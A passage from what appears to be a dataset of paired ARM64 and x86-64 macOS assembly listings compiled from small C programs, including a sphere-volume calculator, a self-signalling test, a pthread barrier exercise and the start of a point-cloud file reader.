cmpl $0, -8(%rbp)
je LBB4_11
## %bb.1:
cmpl $-1, -8(%rbp)
jne LBB4_3
## %bb.2:
leaq L_.str.2(%rip), %rax
movq %rax, -16(%rbp)
jmp LBB4_10
LBB4_3:
cmpl $-2, -8(%rbp)
jne LBB4_5
## %bb.4:
leaq L_.str.3(%rip), %rax
movq %rax, -16(%rbp)
jmp LBB4_9
LBB4_5:
cmpl $-3, -8(%rbp)
jne LBB4_7
## %bb.6:
leaq L_.str.4(%rip), %rax
movq %rax, -16(%rbp)
jmp LBB4_8
LBB4_7:
leaq L_.str.5(%rip), %rax
movq %rax, -16(%rbp)
LBB4_8:
jmp LBB4_9
LBB4_9:
jmp LBB4_10
LBB4_10:
movq -16(%rbp), %rdi
callq _makeInkRequest
jmp LBB4_12
LBB4_11:
movq -16(%rbp), %rdi
callq _printFile
LBB4_12:
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "ink? Y/N"
L_.str.1: ## @.str.1
.asciz "N"
L_.str.2: ## @.str.2
.asciz "red"
L_.str.3: ## @.str.3
.asciz "blue"
L_.str.4: ## @.str.4
.asciz "yellow"
L_.str.5: ## @.str.5
.asciz "black"
.subsections_via_symbols
| the_stack_data/117134.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
bl _getpid
mov w1, #17
bl _kill
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
callq _getpid
movl %eax, %edi
movl $17, %esi
callq _kill
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/243893223.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl __start ; -- Begin function _start
.p2align 2
__start: ; @_start
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str wzr, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl __start ## -- Begin function _start
.p2align 4, 0x90
__start: ## @_start
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $0, -4(%rbp)
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/114317.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ; -- Begin function main
lCPI0_0:
.quad 0x40291eb851eb851f ; double 12.56
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #16] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov x9, sp
sub x8, x29, #8
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
ldur s0, [x29, #-8]
fcvt d1, s0
adrp x8, lCPI0_0@PAGE
ldr d0, [x8, lCPI0_0@PAGEOFF]
fmul d0, d0, d1
ldur s1, [x29, #-8]
fcvt d1, s1
fmul d0, d0, d1
ldur s1, [x29, #-8]
fcvt d1, s1
fmul d0, d0, d1
fmov d1, #3.00000000
fdiv d0, d0, d1
fcvt s0, d0
stur s0, [x29, #-12]
ldur s0, [x29, #-12]
fcvt d0, s0
mov x8, sp
str d0, [x8]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldr w0, [sp, #16] ; 4-byte Folded Reload
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Enter the radius of the sphere "
l_.str.1: ; @.str.1
.asciz "%f"
l_.str.2: ; @.str.2
.asciz " The ans is %f "
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function main
LCPI0_0:
.quad 0x4008000000000000 ## double 3
LCPI0_1:
.quad 0x40291eb851eb851f ## double 12.56
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
movss -8(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm1
movsd LCPI0_1(%rip), %xmm0 ## xmm0 = mem[0],zero
mulsd %xmm1, %xmm0
movss -8(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero
cvtss2sd %xmm1, %xmm1
mulsd %xmm1, %xmm0
movss -8(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero
cvtss2sd %xmm1, %xmm1
mulsd %xmm1, %xmm0
movsd LCPI0_0(%rip), %xmm1 ## xmm1 = mem[0],zero
divsd %xmm1, %xmm0
cvtsd2ss %xmm0, %xmm0
movss %xmm0, -12(%rbp)
movss -12(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
leaq L_.str.2(%rip), %rdi
movb $1, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Enter the radius of the sphere "
L_.str.1: ## @.str.1
.asciz "%f"
L_.str.2: ## @.str.2
.asciz " The ans is %f "
.subsections_via_symbols
| the_stack_data/111076720.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ; -- Begin function thread_function
lCPI0_0:
.quad 0x3f50624dd2f1a9fc ; double 0.001
.section __TEXT,__text,regular,pure_instructions
.globl _thread_function
.p2align 2
_thread_function: ; @thread_function
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _counter@GOTPAGE
ldr x8, [x8, _counter@GOTPAGEOFF]
str x8, [sp, #24] ; 8-byte Folded Spill
adrp x8, _ta@GOTPAGE
ldr x8, [x8, _ta@GOTPAGEOFF]
str x8, [sp, #32] ; 8-byte Folded Spill
adrp x8, _barrier@GOTPAGE
ldr x8, [x8, _barrier@GOTPAGEOFF]
stur x8, [x29, #-24] ; 8-byte Folded Spill
stur x0, [x29, #-8]
ldur x8, [x29, #-8]
stur x8, [x29, #-16]
adrp x0, _mutex@PAGE
add x0, x0, _mutex@PAGEOFF
bl _pthread_mutex_lock
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB0_2:
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
bl _pthread_self
ldr x8, [sp, #32] ; 8-byte Folded Reload
str x0, [x8]
ldur x8, [x29, #-16]
ldr s1, [x8]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
adrp x8, lCPI0_0@PAGE
ldr d1, [x8, lCPI0_0@PAGEOFF]
str d1, [sp, #16] ; 8-byte Folded Spill
fmul d0, d0, d1
fcvtzu w0, d0
bl _sleep
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr d1, [sp, #16] ; 8-byte Folded Reload
adrp x9, _msg1@PAGE
ldr x0, [x9, _msg1@PAGEOFF]
ldr x9, [x8]
ldur x8, [x29, #-16]
ldr s2, [x8]
; implicit-def: $d0
fmov s0, s2
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
fmul d0, d0, d1
mov x8, sp
str x9, [x8]
str d0, [x8, #8]
bl _printf
adrp x0, _mutex@PAGE
add x0, x0, _mutex@PAGEOFF
bl _pthread_mutex_unlock
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB0_4:
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldr w8, [x8]
subs w8, w8, #10
cset w8, ne
tbnz w8, #0, LBB0_8
b LBB0_5
LBB0_5:
ldur x8, [x29, #-24] ; 8-byte Folded Reload
ldr x0, [x8]
bl _sem_post
adds w8, w0, #1
cset w8, ne
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6:
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB0_7:
b LBB0_8
LBB0_8:
ldur x8, [x29, #-24] ; 8-byte Folded Reload
ldr x0, [x8]
bl _sem_wait
adds w8, w0, #1
cset w8, ne
tbnz w8, #0, LBB0_10
b LBB0_9
LBB0_9:
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB0_10:
ldur x8, [x29, #-24] ; 8-byte Folded Reload
ldr x0, [x8]
bl _sem_post
adds w8, w0, #1
cset w8, ne
tbnz w8, #0, LBB0_12
b LBB0_11
LBB0_11:
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB0_12:
bl _pthread_self
ldr x8, [sp, #32] ; 8-byte Folded Reload
str x0, [x8]
adrp x9, _msg2@PAGE
ldr x0, [x9, _msg2@PAGEOFF]
ldr x8, [x8]
mov x9, sp
str x8, [x9]
bl _printf
mov w0, #0
bl _sleep
mov x0, #0
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #176
.cfi_def_cfa_offset 176
stp x29, x30, [sp, #160] ; 16-byte Folded Spill
add x29, sp, #160
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _barrier@GOTPAGE
ldr x8, [x8, _barrier@GOTPAGEOFF]
str x8, [sp, #8] ; 8-byte Folded Spill
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
stur x1, [x29, #-16]
mov x0, #40
bl _malloc
str x0, [sp, #48]
ldr x8, [sp, #48]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB1_2:
mov x0, #0
bl _time
; kill: def $w0 killed $w0 killed $x0
bl _srandom
str wzr, [sp, #44]
b LBB1_3
LBB1_3: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #44]
subs w8, w8, #10
cset w8, ge
tbnz w8, #0, LBB1_6
b LBB1_4
LBB1_4: ; in Loop: Header=BB1_3 Depth=1
bl _random
mov x9, #3000
sdiv x8, x0, x9
mul x8, x8, x9
subs x8, x0, x8
ldr x9, [sp, #48]
ldrsw x10, [sp, #44]
; kill: def $w8 killed $w8 killed $x8
str w8, [x9, x10, lsl #2]
b LBB1_5
LBB1_5: ; in Loop: Header=BB1_3 Depth=1
ldr w8, [sp, #44]
add w8, w8, #1
str w8, [sp, #44]
b LBB1_3
LBB1_6:
adrp x8, l_.str.7@PAGE
add x8, x8, l_.str.7@PAGEOFF
str x8, [sp, #32]
ldr x0, [sp, #32]
mov x9, sp
mov x8, #384
str x8, [x9]
mov w1, #1537
bl _open
str w0, [sp, #28]
ldr w8, [sp, #28]
adds w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB1_8
b LBB1_7
LBB1_7:
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB1_8:
ldr w0, [sp, #28]
mov w1, #1
bl _dup2
adds w8, w0, #1
cset w8, ne
tbnz w8, #0, LBB1_10
b LBB1_9
LBB1_9:
adrp x0, l_.str.9@PAGE
add x0, x0, l_.str.9@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB1_10:
ldr w0, [sp, #28]
bl _close
mov x0, #4
bl _malloc
ldr x8, [sp, #8] ; 8-byte Folded Reload
str x0, [x8]
ldr x0, [x8]
mov w2, #0
mov x1, x2
bl _sem_init
stur w0, [x29, #-20]
ldur w8, [x29, #-20]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB1_12
b LBB1_11
LBB1_11:
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB1_12:
str wzr, [sp, #24]
b LBB1_13
LBB1_13: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #24]
subs w8, w8, #10
cset w8, ge
tbnz w8, #0, LBB1_18
b LBB1_14
LBB1_14: ; in Loop: Header=BB1_13 Depth=1
ldrsw x9, [sp, #24]
add x8, sp, #56
add x0, x8, x9, lsl #3
ldr x8, [sp, #48]
ldrsw x9, [sp, #24]
add x3, x8, x9, lsl #2
mov x1, #0
adrp x2, _thread_function@PAGE
add x2, x2, _thread_function@PAGEOFF
bl _pthread_create
stur w0, [x29, #-20]
ldur w8, [x29, #-20]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB1_16
b LBB1_15
LBB1_15:
adrp x0, l_.str.11@PAGE
add x0, x0, l_.str.11@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB1_16: ; in Loop: Header=BB1_13 Depth=1
b LBB1_17
LBB1_17: ; in Loop: Header=BB1_13 Depth=1
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB1_13
LBB1_18:
str wzr, [sp, #20]
b LBB1_19
LBB1_19: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #20]
subs w8, w8, #10
cset w8, ge
tbnz w8, #0, LBB1_24
b LBB1_20
LBB1_20: ; in Loop: Header=BB1_19 Depth=1
ldrsw x9, [sp, #20]
add x8, sp, #56
ldr x0, [x8, x9, lsl #3]
mov x1, #0
bl _pthread_join
stur w0, [x29, #-20]
ldur w8, [x29, #-20]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB1_22
b LBB1_21
LBB1_21:
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB1_22: ; in Loop: Header=BB1_19 Depth=1
b LBB1_23
LBB1_23: ; in Loop: Header=BB1_19 Depth=1
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB1_19
LBB1_24:
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x0, [x8]
bl _sem_destroy
stur w0, [x29, #-20]
ldur w8, [x29, #-20]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB1_26
b LBB1_25
LBB1_25:
adrp x0, l_.str.13@PAGE
add x0, x0, l_.str.13@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB1_26:
adrp x0, l_.str.14@PAGE
add x0, x0, l_.str.14@PAGEOFF
bl _printf
mov w0, #0
bl _exit
.cfi_endproc
; -- End function
.section __DATA,__data
.globl _mutex ; @mutex
.p2align 3
_mutex:
.quad 850045863 ; 0x32aaaba7
.space 56
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "fase 1, thread id=%ld, sleep period = %f secondi\n"
.section __DATA,__data
.globl _msg1 ; @msg1
.p2align 3
_msg1:
.quad l_.str
.section __TEXT,__cstring,cstring_literals
l_.str.1: ; @.str.1
.asciz "fase 2, thread id=%ld, dopo la barriera\n"
.section __DATA,__data
.globl _msg2 ; @msg2
.p2align 3
_msg2:
.quad l_.str.1
.globl _number_of_threads ; @number_of_threads
.p2align 2
_number_of_threads:
.long 10 ; 0xa
.section __TEXT,__cstring,cstring_literals
l_.str.2: ; @.str.2
.asciz "pthread_mutex_lock"
.comm _counter,4,2 ; @counter
.comm _ta,8,3 ; @ta
l_.str.3: ; @.str.3
.asciz "pthread_mutex_unlock"
.comm _barrier,8,3 ; @barrier
l_.str.4: ; @.str.4
.asciz "sem_post barrier!"
l_.str.5: ; @.str.5
.asciz "sem_wait barrier"
l_.str.6: ; @.str.6
.asciz "malloc()!"
l_.str.7: ; @.str.7
.asciz "/home/utente/output_2020-05-21.txt"
l_.str.8: ; @.str.8
.asciz "open()"
l_.str.9: ; @.str.9
.asciz "dup2()"
l_.str.10: ; @.str.10
.asciz "sem_init barrier"
l_.str.11: ; @.str.11
.asciz "pthread_create"
l_.str.12: ; @.str.12
.asciz "pthread_join"
l_.str.13: ; @.str.13
.asciz "sem_destroy"
l_.str.14: ; @.str.14
.asciz "Programa terminato! Bye\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function thread_function
LCPI0_0:
.quad 0x3f50624dd2f1a9fc ## double 0.001
.section __TEXT,__text,regular,pure_instructions
.globl _thread_function
.p2align 4, 0x90
_thread_function: ## @thread_function
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movq %rax, -16(%rbp)
leaq _mutex(%rip), %rdi
callq _pthread_mutex_lock
cmpl $0, %eax
je LBB0_2
## %bb.1:
leaq L_.str.2(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB0_2:
movq _counter@GOTPCREL(%rip), %rax
movl (%rax), %ecx
incl %ecx
movl %ecx, (%rax)
callq _pthread_self
movq %rax, %rcx
movq _ta@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -16(%rbp), %rax
cvtsi2sdl (%rax), %xmm0
movsd LCPI0_0(%rip), %xmm1 ## xmm1 = mem[0],zero
mulsd %xmm1, %xmm0
cvttsd2si %xmm0, %rax
movl %eax, %edi
callq _sleep
movq _msg1(%rip), %rdi
movq _ta@GOTPCREL(%rip), %rax
movq (%rax), %rsi
movq -16(%rbp), %rax
cvtsi2sdl (%rax), %xmm0
movsd LCPI0_0(%rip), %xmm1 ## xmm1 = mem[0],zero
mulsd %xmm1, %xmm0
movb $1, %al
callq _printf
leaq _mutex(%rip), %rdi
callq _pthread_mutex_unlock
cmpl $0, %eax
je LBB0_4
## %bb.3:
leaq L_.str.3(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB0_4:
movq _counter@GOTPCREL(%rip), %rax
cmpl $10, (%rax)
jne LBB0_8
## %bb.5:
movq _barrier@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _sem_post
cmpl $-1, %eax
jne LBB0_7
## %bb.6:
leaq L_.str.4(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB0_7:
jmp LBB0_8
LBB0_8:
movq _barrier@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _sem_wait
cmpl $-1, %eax
jne LBB0_10
## %bb.9:
leaq L_.str.5(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB0_10:
movq _barrier@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _sem_post
cmpl $-1, %eax
jne LBB0_12
## %bb.11:
leaq L_.str.5(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB0_12:
callq _pthread_self
movq %rax, %rcx
movq _ta@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq _msg2(%rip), %rdi
movq _ta@GOTPCREL(%rip), %rax
movq (%rax), %rsi
movb $0, %al
callq _printf
xorl %edi, %edi
callq _sleep
xorl %eax, %eax
## kill: def $rax killed $eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $160, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
movl $40, %edi
callq _malloc
movq %rax, -120(%rbp)
cmpq $0, -120(%rbp)
jne LBB1_2
## %bb.1:
leaq L_.str.6(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB1_2:
xorl %eax, %eax
movl %eax, %edi
callq _time
movl %eax, %edi
callq _srandom
movl $0, -124(%rbp)
LBB1_3: ## =>This Inner Loop Header: Depth=1
cmpl $10, -124(%rbp)
jge LBB1_6
## %bb.4: ## in Loop: Header=BB1_3 Depth=1
callq _random
movl $3000, %ecx ## imm = 0xBB8
cqto
idivq %rcx
## kill: def $edx killed $edx killed $rdx
movq -120(%rbp), %rax
movslq -124(%rbp), %rcx
movl %edx, (%rax,%rcx,4)
## %bb.5: ## in Loop: Header=BB1_3 Depth=1
movl -124(%rbp), %eax
addl $1, %eax
movl %eax, -124(%rbp)
jmp LBB1_3
LBB1_6:
leaq L_.str.7(%rip), %rax
movq %rax, -136(%rbp)
movq -136(%rbp), %rdi
movl $1537, %esi ## imm = 0x601
movl $384, %edx ## imm = 0x180
movb $0, %al
callq _open
movl %eax, -140(%rbp)
cmpl $-1, -140(%rbp)
jne LBB1_8
## %bb.7:
leaq L_.str.8(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB1_8:
movl -140(%rbp), %edi
movl $1, %esi
callq _dup2
cmpl $-1, %eax
jne LBB1_10
## %bb.9:
leaq L_.str.9(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB1_10:
movl -140(%rbp), %edi
callq _close
movl $4, %edi
callq _malloc
movq %rax, %rcx
movq _barrier@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq _barrier@GOTPCREL(%rip), %rax
movq (%rax), %rdi
xorl %edx, %edx
movl %edx, %esi
callq _sem_init
movl %eax, -20(%rbp)
cmpl $0, -20(%rbp)
je LBB1_12
## %bb.11:
leaq L_.str.10(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB1_12:
movl $0, -144(%rbp)
LBB1_13: ## =>This Inner Loop Header: Depth=1
cmpl $10, -144(%rbp)
jge LBB1_18
## %bb.14: ## in Loop: Header=BB1_13 Depth=1
movslq -144(%rbp), %rax
leaq -112(%rbp), %rdi
shlq $3, %rax
addq %rax, %rdi
movq -120(%rbp), %rcx
movslq -144(%rbp), %rax
shlq $2, %rax
addq %rax, %rcx
xorl %eax, %eax
movl %eax, %esi
leaq _thread_function(%rip), %rdx
callq _pthread_create
movl %eax, -20(%rbp)
cmpl $0, -20(%rbp)
je LBB1_16
## %bb.15:
leaq L_.str.11(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB1_16: ## in Loop: Header=BB1_13 Depth=1
jmp LBB1_17
LBB1_17: ## in Loop: Header=BB1_13 Depth=1
movl -144(%rbp), %eax
addl $1, %eax
movl %eax, -144(%rbp)
jmp LBB1_13
LBB1_18:
movl $0, -148(%rbp)
LBB1_19: ## =>This Inner Loop Header: Depth=1
cmpl $10, -148(%rbp)
jge LBB1_24
## %bb.20: ## in Loop: Header=BB1_19 Depth=1
movslq -148(%rbp), %rax
movq -112(%rbp,%rax,8), %rdi
xorl %eax, %eax
movl %eax, %esi
callq _pthread_join
movl %eax, -20(%rbp)
cmpl $0, -20(%rbp)
je LBB1_22
## %bb.21:
leaq L_.str.12(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB1_22: ## in Loop: Header=BB1_19 Depth=1
jmp LBB1_23
LBB1_23: ## in Loop: Header=BB1_19 Depth=1
movl -148(%rbp), %eax
addl $1, %eax
movl %eax, -148(%rbp)
jmp LBB1_19
LBB1_24:
movq _barrier@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _sem_destroy
movl %eax, -20(%rbp)
cmpl $0, -20(%rbp)
je LBB1_26
## %bb.25:
leaq L_.str.13(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB1_26:
leaq L_.str.14(%rip), %rdi
xorl %eax, %eax
movl %eax, -152(%rbp) ## 4-byte Spill
callq _printf
movl -152(%rbp), %edi ## 4-byte Reload
callq _exit
.cfi_endproc
## -- End function
.section __DATA,__data
.globl _mutex ## @mutex
.p2align 3
_mutex:
.quad 850045863 ## 0x32aaaba7
.space 56
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "fase 1, thread id=%ld, sleep period = %f secondi\n"
.section __DATA,__data
.globl _msg1 ## @msg1
.p2align 3
_msg1:
.quad L_.str
.section __TEXT,__cstring,cstring_literals
L_.str.1: ## @.str.1
.asciz "fase 2, thread id=%ld, dopo la barriera\n"
.section __DATA,__data
.globl _msg2 ## @msg2
.p2align 3
_msg2:
.quad L_.str.1
.globl _number_of_threads ## @number_of_threads
.p2align 2
_number_of_threads:
.long 10 ## 0xa
.section __TEXT,__cstring,cstring_literals
L_.str.2: ## @.str.2
.asciz "pthread_mutex_lock"
.comm _counter,4,2 ## @counter
.comm _ta,8,3 ## @ta
L_.str.3: ## @.str.3
.asciz "pthread_mutex_unlock"
.comm _barrier,8,3 ## @barrier
L_.str.4: ## @.str.4
.asciz "sem_post barrier!"
L_.str.5: ## @.str.5
.asciz "sem_wait barrier"
L_.str.6: ## @.str.6
.asciz "malloc()!"
L_.str.7: ## @.str.7
.asciz "/home/utente/output_2020-05-21.txt"
L_.str.8: ## @.str.8
.asciz "open()"
L_.str.9: ## @.str.9
.asciz "dup2()"
L_.str.10: ## @.str.10
.asciz "sem_init barrier"
L_.str.11: ## @.str.11
.asciz "pthread_create"
L_.str.12: ## @.str.12
.asciz "pthread_join"
L_.str.13: ## @.str.13
.asciz "sem_destroy"
L_.str.14: ## @.str.14
.asciz "Programa terminato! Bye\n"
.subsections_via_symbols
| the_stack_data/82950521.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _pointcloud_read ; -- Begin function pointcloud_read
.p2align 2
_pointcloud_read: ; @pointcloud_read
.cfi_startproc
; %bb.0:
sub sp, sp, #192
.cfi_def_cfa_offset 192
stp x29, x30, [sp, #176] ; 16-byte Folded Spill
add x29, sp, #176
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str x0, [sp, #80]
strh w1, [sp, #78]
ldrh w10, [sp, #78]
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
add x0, sp, #88
str x0, [sp, #32] ; 8-byte Folded Spill
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
bl _sprintf
ldr x0, [sp, #32] ; 8-byte Folded Reload
adrp x1, l_.str.1@PAGE
add x1, x1, l_.str.1@PAGEOFF
bl _fopen
str x0, [sp, #56]
ldr x8, [sp, #56]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB0_2
LBB0_2:
mov w8, #3
strh w8, [sp, #76]
mov w8, #1024
strh w8, [sp, #74]
ldrh w8, [sp, #76]
ldr x9, [sp, #80]
strh w8, [x9, #3072]
ldrh w8, [sp, #74]
ldr x9, [sp, #80]
strh w8, [x9, #3074]
b LBB0_3
LBB0_3:
str wzr, [sp, #68]
b LBB0_4
LBB0_4: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #68]
ldrh w9, [sp, #74]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_7
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_4 Depth=1
ldr x0, [sp, #56]
mov x9, sp
add x8, sp, #52
str x8, [x9]
add x8, sp, #48
str x8, [x9, #8]
